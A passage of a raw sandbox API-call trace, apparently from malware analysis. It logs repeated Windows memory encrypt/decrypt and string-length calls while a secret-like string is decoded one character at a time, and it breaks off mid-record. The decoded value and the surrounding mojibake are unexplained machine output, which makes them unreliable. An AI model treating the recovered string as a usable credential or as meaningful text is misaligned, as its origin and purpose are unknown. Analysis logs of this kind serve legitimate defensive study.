(param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\xe5d0\x31e8\xb17c\xa9b7\x2780\x4aa5\x7c3\x7926") returned 0x18 [0125.958] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\xe5d0\x31e8\xb17c\xa9b7\x2780\x4aa5\x7c3\x7926") returned 0x18 [0125.958] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.958] SysStringLen (param_1="VgW29eR3h3f3cRCyAU昳ວ꺕ﵸ") returned 0x18 [0125.958] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.958] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\xb1d5\xe0b2\x249e\xe8d2\x9c5a\x7e4\x1ba6\x69ce") returned 0x18 [0125.958] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\xb1d5\xe0b2\x249e\xe8d2\x9c5a\x7e4\x1ba6\x69ce") returned 0x18 [0125.958] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.958] SysStringLen (param_1="VgW29eR3h3f3cRCyAUl昳ວ꺕ﵸ") returned 0x18 [0125.958] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.959] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x40ca\x8edf\xc42b\xc98c\xf9e\x4814\x7180\x82b2") returned 0x18 [0125.959] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x40ca\x8edf\xc42b\xc98c\xf9e\x4814\x7180\x82b2") returned 0x18 [0125.959] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.959] SysStringLen (param_1="VgW29eR3h3f3cRCyAUl3昳ວ꺕ﵸ") returned 0x18 [0125.959] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.959] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\xc3e\x324c\x38fd\x5f9a\x7969\xbd7f\x58de\x3baa") returned 0x18 [0125.959] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\xc3e\x324c\x38fd\x5f9a\x7969\xbd7f\x58de\x3baa") returned 0x18 [0125.959] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.959] SysStringLen (param_1="VgW29eR3h3f3cRCyAUl3dວ꺕ﵸ") returned 0x18 [0125.959] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.959] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x32d6\x5d3d\x59c1\xbe5\xc18b\xe006\xc2e9\xb6c0") returned 0x18 [0125.959] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x32d6\x5d3d\x59c1\xbe5\xc18b\xe006\xc2e9\xb6c0") returned 0x18 [0125.959] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.959] SysStringLen (param_1="VgW29eR3h3f3cRCyAUl3dF꺕ﵸ") returned 0x18 [0125.959] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.959] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\xa6f8\xae1e\x4e54\x6a1c\x199e\xe222\x848d\xb740") returned 0x18 [0125.959] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\xa6f8\xae1e\x4e54\x6a1c\x199e\xe222\x848d\xb740") returned 0x18 [0125.959] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.959] SysStringLen (param_1="VgW29eR3h3f3cRCyAUl3dFyﵸ") returned 0x18 [0125.959] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.959] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x41ab\x91f4\xca2f\x975a\x5bca\x98a1\xdfb8\x299a") returned 0x18 [0125.960] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x41ab\x91f4\xca2f\x975a\x5bca\x98a1\xdfb8\x299a") returned 0x18 [0125.960] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.960] SysStringLen (param_1="VgW29eR3h3f3cRCyAUl3dFyK") returned 0x18 [0125.960] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.960] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8") returned 0x18 [0125.960] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8") returned 0x18 [0125.960] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8") returned 0x18 [0125.960] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8") returned 0x20 [0125.960] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.960] SysStringLen (param_1="VgW29eR3h3f3cRCyAUl3dFyKb㛳㡅痒̺鈦㡫") returned 0x20 [0125.960] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.960] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x88f9\xc0f1\x7476\xd079\xceb3\x4b13\x63a2\x64a3") returned 0x20 [0125.960] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x88f9\xc0f1\x7476\xd079\xceb3\x4b13\x63a2\x64a3") returned 0x20 [0125.960] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.960] SysStringLen (param_1="VgW29eR3h3f3cRCyAUl3dFyKb8㡅痒̺鈦㡫") returned 0x20 [0125.960] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.960] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x73f3\xca99\xbaa6\xf257\xc96b\x4f1c\x3a6a\x1d40") returned 0x20 [0125.960] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x73f3\xca99\xbaa6\xf257\xc96b\x4f1c\x3a6a\x1d40") returned 0x20 [0125.960] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.960] SysStringLen (param_1="VgW29eR3h3f3cRCyAUl3dFyKb8Z㡅痒̺鈦㡫") returned 0x20 [0125.960] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.961] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\xaf57\xc1de\xdbe7\xcf72\x1b4c\x32c1\xf6f5\x58e9") returned 0x20 [0125.961] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\xaf57\xc1de\xdbe7\xcf72\x1b4c\x32c1\xf6f5\x58e9") returned 0x20 [0125.961] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.961] SysStringLen (param_1="VgW29eR3h3f3cRCyAUl3dFyKb8Zw痒̺鈦㡫") returned 0x20 [0125.961] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.961] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x34ed\xb947\x5d0e\xa16a\x1643\x5854\xd98c\x2409") returned 0x20 [0125.961] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x34ed\xb947\x5d0e\xa16a\x1643\x5854\xd98c\x2409") returned 0x20 [0125.961] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.961] SysStringLen (param_1="VgW29eR3h3f3cRCyAUl3dFyKb8Zwc̺鈦㡫") returned 0x20 [0125.961] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.961] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x3248\xaa06\xd727\x3a7c\x4b4c\x2b8a\x96b1\xe741") returned 0x20 [0125.961] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x3248\xaa06\xd727\x3a7c\x4b4c\x2b8a\x96b1\xe741") returned 0x20 [0125.961] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.961] SysStringLen (param_1="VgW29eR3h3f3cRCyAUl3dFyKb8ZwcO鈦㡫") returned 0x20 [0125.961] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.961] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\xc3\x169\xb8c0\x6a98\x14a2\x36a5\x7233\x67b3") returned 0x20 [0125.961] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\xc3\x169\xb8c0\x6a98\x14a2\x36a5\x7233\x67b3") returned 0x20 [0125.961] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.961] SysStringLen (param_1="VgW29eR3h3f3cRCyAUl3dFyKb8ZwcOa㡫") returned 0x20 [0125.961] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.961] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\xd844\x9390\xbea1\x8250\xebad\x75f4\x3015\xa41e") returned 0x20 [0125.961] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\xd844\x9390\xbea1\x8250\xebad\x75f4\x3015\xa41e") returned 0x20 [0125.961] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.962] SysStringLen (param_1="VgW29eR3h3f3cRCyAUl3dFyKb8ZwcOag") returned 0x20 [0125.962] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.962] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x28c9\x597e\xa9a0\x4434\x5421\xf595\x2fa2\x6a7d") returned 0x20 [0125.962] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x28c9\x597e\xa9a0\x4434\x5421\xf595\x2fa2\x6a7d") returned 0x20 [0125.962] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x28c9\x597e\xa9a0\x4434\x5421\xf595\x2fa2\x6a7d") returned 0x20 [0125.962] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x28c9\x597e\xa9a0\x4434\x5421\xf595\x2fa2\x6a7d\x2e32\x3632\x8e00\xef1\x6496\xcb2b\xa2cf\xcf29") returned 0x28 [0125.962] SystemFunction041 (in: Memory=0x8e6fdd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fdd4) returned 0x0 [0125.962] SysStringLen (param_1="VgW29eR3h3f3cRCyAUl3dFyKb8ZwcOago㙓逩⷏ࡻꛟ骊価") returned 0x28 [0125.962] SystemFunction040 (in: Memory=0x8e6fdd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fdd4) returned 0x0 [0125.962] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x28c9\x597e\xa9a0\x4434\x5421\xf595\x2fa2\x6a7d\x67d0\x418\xb702\xd87f\xacb9\x4194\xa228\xff52") returned 0x28 [0125.962] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x28c9\x597e\xa9a0\x4434\x5421\xf595\x2fa2\x6a7d\x67d0\x418\xb702\xd87f\xacb9\x4194\xa228\xff52") returned 0x28 [0125.962] SystemFunction041 (in: Memory=0x8e6fdd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fdd4) returned 0x0 [0125.962] SysStringLen (param_1="VgW29eR3h3f3cRCyAUl3dFyKb8ZwcOago1逩⷏ࡻꛟ骊価") returned 0x28 [0125.962] SystemFunction040 (in: Memory=0x8e6fdd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fdd4) returned 0x0 [0125.962] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x28c9\x597e\xa9a0\x4434\x5421\xf595\x2fa2\x6a7d\x307f\x548a\xb4c8\x6450\x7257\xcc8\xc03\xbfa") returned 0x28 [0125.962] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x28c9\x597e\xa9a0\x4434\x5421\xf595\x2fa2\x6a7d\x307f\x548a\xb4c8\x6450\x7257\xcc8\xc03\xbfa") returned 0x28 [0125.962] SystemFunction041 (in: Memory=0x8e6fdd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fdd4) returned 0x0 [0125.962] SysStringLen (param_1="VgW29eR3h3f3cRCyAUl3dFyKb8ZwcOago1k⷏ࡻꛟ骊価") returned 0x28 [0125.962] SystemFunction040 (in: Memory=0x8e6fdd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fdd4) returned 0x0 [0125.962] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x28c9\x597e\xa9a0\x4434\x5421\xf595\x2fa2\x6a7d\xdf42\xb254\xdb0d\xa206\x8fde\xb7a1\xd6c3\x93e6") returned 0x28 [0125.962] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x28c9\x597e\xa9a0\x4434\x5421\xf595\x2fa2\x6a7d\xdf42\xb254\xdb0d\xa206\x8fde\xb7a1\xd6c3\x93e6") returned 0x28 [0125.962] SystemFunction041 (in: Memory=0x8e6fdd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fdd4) returned 0x0 [0125.963] SysStringLen (param_1="VgW29eR3h3f3cRCyAUl3dFyKb8ZwcOago1kEࡻꛟ骊価") returned 0x28 [0125.963] SystemFunction040 (in: Memory=0x8e6fdd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fdd4) returned 0x0 [0125.963] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x28c9\x597e\xa9a0\x4434\x5421\xf595\x2fa2\x6a7d\xdf8f\xf793\xf606\x899c\xdaf\x88a6\x4458\x7d65") returned 0x28 [0125.963] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x28c9\x597e\xa9a0\x4434\x5421\xf595\x2fa2\x6a7d\xdf8f\xf793\xf606\x899c\xdaf\x88a6\x4458\x7d65") returned 0x28 [0125.963] SystemFunction041 (in: Memory=0x8e6fdd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fdd4) returned 0x0 [0125.963] SysStringLen (param_1="VgW29eR3h3f3cRCyAUl3dFyKb8ZwcOago1kElꛟ骊価") returned 0x28 [0125.963] SystemFunction040 (in: Memory=0x8e6fdd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fdd4) returned 0x0 [0125.963] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x28c9\x597e\xa9a0\x4434\x5421\xf595\x2fa2\x6a7d\xee13\x11ca\x7e21\x524b\xc3df\x4d2\x21a9\xc7d9") returned 0x28 [0125.963] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x28c9\x597e\xa9a0\x4434\x5421\xf595\x2fa2\x6a7d\xee13\x11ca\x7e21\x524b\xc3df\x4d2\x21a9\xc7d9") returned 0x28 [0125.963] SystemFunction041 (in: Memory=0x8e6fdd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fdd4) returned 0x0 [0125.963] SysStringLen (param_1="VgW29eR3h3f3cRCyAUl3dFyKb8ZwcOago1kElF骊価") returned 0x28 [0125.963] SystemFunction040 (in: Memory=0x8e6fdd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fdd4) returned 0x0 [0125.963] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x28c9\x597e\xa9a0\x4434\x5421\xf595\x2fa2\x6a7d\x4bbd\x5c8b\x5f28\x2538\x7714\x631a\x142a\x5e0e") returned 0x28 [0125.963] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x28c9\x597e\xa9a0\x4434\x5421\xf595\x2fa2\x6a7d\x4bbd\x5c8b\x5f28\x2538\x7714\x631a\x142a\x5e0e") returned 0x28 [0125.963] SystemFunction041 (in: Memory=0x8e6fdd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fdd4) returned 0x0 [0125.963] SysStringLen (param_1="VgW29eR3h3f3cRCyAUl3dFyKb8ZwcOago1kElFa価") returned 0x28 [0125.963] SystemFunction040 (in: Memory=0x8e6fdd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fdd4) returned 0x0 [0125.963] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x28c9\x597e\xa9a0\x4434\x5421\xf595\x2fa2\x6a7d\xb584\xbbe\xc15e\x9c52\xd594\xf7c4\x67e2\x63f3") returned 0x28 [0125.963] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x28c9\x597e\xa9a0\x4434\x5421\xf595\x2fa2\x6a7d\xb584\xbbe\xc15e\x9c52\xd594\xf7c4\x67e2\x63f3") returned 0x28 [0125.963] SystemFunction041 (in: Memory=0x8e6fdd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fdd4) returned 0x0 [0125.963] SysStringLen (param_1="VgW29eR3h3f3cRCyAUl3dFyKb8ZwcOago1kElFaR") returned 0x28 [0125.963] SystemFunction040 (in: Memory=0x8e6fdd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fdd4) returned 0x0 [0125.963] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x28c9\x597e\xa9a0\x4434\x5421\xf595\x2fa2\x6a7d\x2e3f\x2400\xc9bd\x6703\xd44b\x3a93\xadbc\xa38e") returned 0x28 [0125.964] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x28c9\x597e\xa9a0\x4434\x5421\xf595\x2fa2\x6a7d\x2e3f\x2400\xc9bd\x6703\xd44b\x3a93\xadbc\xa38e") returned 0x28 [0125.964] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x28c9\x597e\xa9a0\x4434\x5421\xf595\x2fa2\x6a7d\x2e3f\x2400\xc9bd\x6703\xd44b\x3a93\xadbc\xa38e") returned 0x28 [0125.964] SysStringLen (param_1="\x446a\xfab3\x9a96\x5f8a\xf676\x55ca\x111a\x3e84\x2fba\x4aeb\xa898\xeb02\xa2f3\x1a32\xeb6e\xcdab\x9488\x36d9\x8411\x3943\xb112\x17af\xd7dd\x8b8\x28c9\x597e\xa9a0\x4434\x5421\xf595\x2fa2\x6a7d\x2e3f\x2400\xc9bd\x6703\xd44b\x3a93\xadbc\xa38e\x4b\x4e\x2d\x33\x51\x78\x59\x65") returned 0x30 [0125.964] SystemFunction041 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0125.964] SysStringLen (param_1="VgW29eR3h3f3cRCyAUl3dFyKb8ZwcOago1kElFaRjᑟꀃऊ텶ᅩ") returned 0x30 [0125.964] SystemFunction040 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0125.964] SysStringLen 